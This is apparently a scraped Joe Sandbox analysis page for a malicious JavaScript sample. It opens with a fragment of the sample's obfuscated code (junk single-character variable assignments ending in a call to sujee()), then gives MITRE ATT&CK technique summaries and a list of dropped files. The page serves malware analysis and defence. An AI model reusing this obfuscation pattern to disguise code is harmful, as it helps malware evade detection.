1197	ufwknxji = "b";
1198	ufwknxji = "X";
1199	ufwknxji = "e";
1200	ufwknxji = "z";
1201	ufwknxji = "K";
1202	ufwknxji = "G";
1203	ufwknxji = "W";
1204	ufwknxji = "g";
1205	ufwknxji = "L";
1206	wttxmuij = "s";
1207	wttxmuij = "i";
1208	wttxmuij = "o";
1209	wttxmuij = "g";
1210	wttxmuij = "b";
1211	wttxmuij = "Y";
1212	wttxmuij = "D";
1213	wttxmuij = "b";
1214	wttxmuij = "o";
1215	wttxmuij = "B";
1216	wttxmuij = "D";
1217	wttxmuij = "t";
1218	wttxmuij = "M";
1219	wttxmuij = "t";
1220	wttxmuij = "c";
1221	wttxmuij = "k";
1222	wttxmuij = "L";
1223	wttxmuij = "M";
1224	wttxmuij = "X";
1225	wttxmuij = "U";
1226	wttxmuij = "d";
1227	wttxmuij = "N";
1228	wttxmuij = "Q";
1229	wttxmuij = "b";
1230	wttxmuij = "g";
1231	wttxmuij = "m";
1232	wttxmuij = "e";
1233	wttxmuij = "k";
1234	wttxmuij = "K";
1235	wttxmuij = "i";
1236	wttxmuij = "Y";
1237	wttxmuij = "s";
1238	wttxmuij = "P";
1239	wttxmuij = "p";
1240	wttxmuij = "l";
1241	djpqntum = "B";
1242	djpqntum = "s";
1243	djpqntum = "u";
1244	djpqntum = "z";
1245	djpqntum = "8";
1246	fwgzqztlg = "S";
1247	fwgzqztlg = "c";
1248	fwgzqztlg = "Z";
1249	fwgzqztlg = "O";
1250	fwgzqztlg = "r";
1251	fwgzqztlg = "O";
1252	fwgzqztlg = "B";
1253	fwgzqztlg = "J";
1254	fwgzqztlg = "o";
1255	fwgzqztlg = "k";
1256	fwgzqztlg = "J";
1257	fwgzqztlg = "g";
1258	fwgzqztlg = "W";
1259	fwgzqztlg = "H";
1260	fwgzqztlg = "N";
1261	fwgzqztlg = "q";
1262	fwgzqztlg = "p";
1263	fwgzqztlg = "E";
1264	fwgzqztlg = "Z";
1265	fwgzqztlg = "R";
1266	fwgzqztlg = "V";
1267	fwgzqztlg = "b";
1268	fwgzqztlg = "R";
1269	fwgzqztlg = "W";
1270	fwgzqztlg = "f";
1271	fwgzqztlg = "g";
1272	fwgzqztlg = "l";
1273	fwgzqztlg = "N";
1274	fwgzqztlg = "W";
1275	ajxgql = "S";
1276	ajxgql = "k";
1277	ajxgql = "z";
1278	ajxgql = "C";
1279	ajxgql = "k";
1280	ajxgql = "M";
1281	ajxgql = "U";
1282	ajxgql = "P";
1283	ajxgql = "e";
1284	ajxgql = "c";
1285	ajxgql = "N";
1286	ajxgql = "k";
1287	ajxgql = "Z";
1288	ajxgql = "w";
1289	ajxgql = "F";
1290	ajxgql = "Z";
1291	ajxgql = "M";
1292	ajxgql = "w";
1293	ajxgql = "w";
1294	ajxgql = "x";
1295	ajxgql = "V";
1296	ajxgql = "Y";
1297	ajxgql = "t";
1298	ajxgql = "O";
1299	ajxgql = "S";
1300	ajxgql = "Y";
1301	ajxgql = "E";
1302	ajxgql = "F";
1303	ajxgql = "q";
1304	ajxgql = "p";
1305	ajxgql = "B";
1306	ajxgql = "r";
1307	ajxgql = "w";
1308	ajxgql = "x";
1309	ajxgql = "q";
1310	ajxgql = "O";
1311	ajxgql = "F";
1312	ajxgql = "S";
1313	ajxgql = "B";
1314	ajxgql = "W";
1315	ajxgql = "E";
1316	ajxgql = "y";
1317	ajxgql = "W";
1318	ajxgql = "/";
1319	bqglrravj = "o";
1320	bqglrravj = "r";
1321	bqglrravj = "A";
1322	bqglrravj = "w";
1323	bqglrravj = "t";
1324	bqglrravj = "M";
1325	bqglrravj = "N";
1326	bqglrravj = "E";
1327	bqglrravj = "w";
1328	bqglrravj = "U";
1329	bqglrravj = "O";
1330	bqglrravj = "p";
1331	bqglrravj = "T";
1332	bqglrravj = "c";
1333	bqglrravj = "Q";
1334	bqglrravj = "p";
1335	bqglrravj = "M";
1336	bqglrravj = "X";
1337	bqglrravj = "O";
1338	bqglrravj = "h";
1339	bqglrravj = "F";
1340	bqglrravj = "g";
1341	bqglrravj = "x";
1342	bqglrravj = "T";
1343	bqglrravj = "H";
1344	bqglrravj = "K";
1345	bqglrravj = "U";
1346	bqglrravj = "r";
1347	bqglrravj = "p";
1348	bqglrravj = "b";
1349	bqglrravj = "Y";
1350	bqglrravj = "D";
1351	bqglrravj = "D";
1352	bqglrravj = "9";
1353	sujee ( );	sujee() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1329220172182926612.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9825a0a1-c722-4685-b4fe-7aec264b4e25.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
1329220172182926612.js